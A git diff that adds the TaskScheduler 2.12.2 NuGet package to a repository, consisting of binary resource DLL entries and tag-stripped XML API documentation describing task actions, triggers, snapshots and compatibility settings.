false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..22d8ef0 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c24d3f9 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..f360be0 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3bd2e54 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1b4aaf3 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..346d7ec Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b7135b7 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c2700ba Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..fc04f1a Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1c7e320 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..2c9b9bb Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000..aa35b88 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml new file mode 100644 index 0000000..741ff76 --- /dev/null +++ b/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7855 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + 